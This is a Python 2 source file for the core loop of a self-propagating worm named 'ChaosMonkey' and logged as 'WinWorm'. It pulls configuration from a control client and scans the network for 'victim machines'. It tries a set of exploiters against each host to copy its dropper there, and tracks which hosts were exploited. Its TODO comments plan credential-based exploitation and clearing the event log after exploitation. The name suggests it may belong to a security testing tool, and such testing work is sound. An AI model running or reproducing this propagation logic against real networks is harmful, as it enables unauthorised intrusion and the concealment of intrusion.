108 lines
3.9 KiB
Python
108 lines
3.9 KiB
Python
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import sys
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import time
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import logging
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from system_singleton import SystemSingleton
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from control import ControlClient
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from config import WormConfiguration
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from network.network_scanner import NetworkScanner
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__author__ = 'itamar'
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LOG = logging.getLogger(__name__)
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# TODO:
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# 1. Remote dating of copied file
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# 2. OS Detection prior to exploit
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# 3. Exploit using token credentials
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# 4. OS Support for exploitation modules (win / linux specific)
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# 5. Linux portability
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# 6. Clear eventlog after exploitation
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# 7. Add colors to logger
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class ChaosMonkey(object):
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def __init__(self, args):
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self._keep_running = False
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self._exploited_machines = set()
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self._fail_exploitation_machines = set()
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self._singleton = SystemSingleton()
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def initialize(self):
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LOG.info("WinWorm is initializing...")
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if not self._singleton.try_lock():
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raise Exception("Another instance of the monkey is already running")
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self._network = NetworkScanner()
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self._network.initialize()
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self._keep_running = True
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self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
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self._dropper_path = sys.argv[0]
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new_config = ControlClient.get_control_config()
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def start(self):
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LOG.info("WinWorm is running...")
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for _ in xrange(WormConfiguration.max_iterations):
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new_config = ControlClient.get_control_config()
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if not self._keep_running:
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break
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machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
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max_find=WormConfiguration.victims_max_find)
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for machine in machines:
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# skip machines that we've already exploited
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if machine in self._exploited_machines:
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LOG.debug("Skipping %r - already exploited",
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machine)
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continue
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elif machine in self._fail_exploitation_machines:
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LOG.debug("Skipping %r - exploitation failed before",
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machine)
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continue
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successful_exploiter = None
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for exploiter in self._exploiters:
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LOG.info("Trying to exploit %r with exploiter %s...",
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machine, exploiter.__class__.__name__)
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try:
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if exploiter.exploit_host(machine, self._dropper_path):
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successful_exploiter = exploiter
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break
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else:
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LOG.info("Failed exploiting %r with exploiter %s",
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machine, exploiter.__class__.__name__)
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except Exception, exc:
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LOG.error("Exception while attacking %s using %s: %s",
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machine, exploiter.__class__.__name__, exc)
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continue
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if successful_exploiter:
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self._exploited_machines.add(machine)
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LOG.info("Successfully propagated to %s using %s",
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machine, successful_exploiter.__class__.__name__)
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# check if max-exploitation limit is reached
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if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
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self._keep_running = False
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LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
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break
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else:
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self._fail_exploitation_machines.add(machine)
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time.sleep(WormConfiguration.timeout_between_iterations)
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if self._keep_running:
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LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
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def cleanup(self):
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self._keep_running = False
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self._singleton.unlock()
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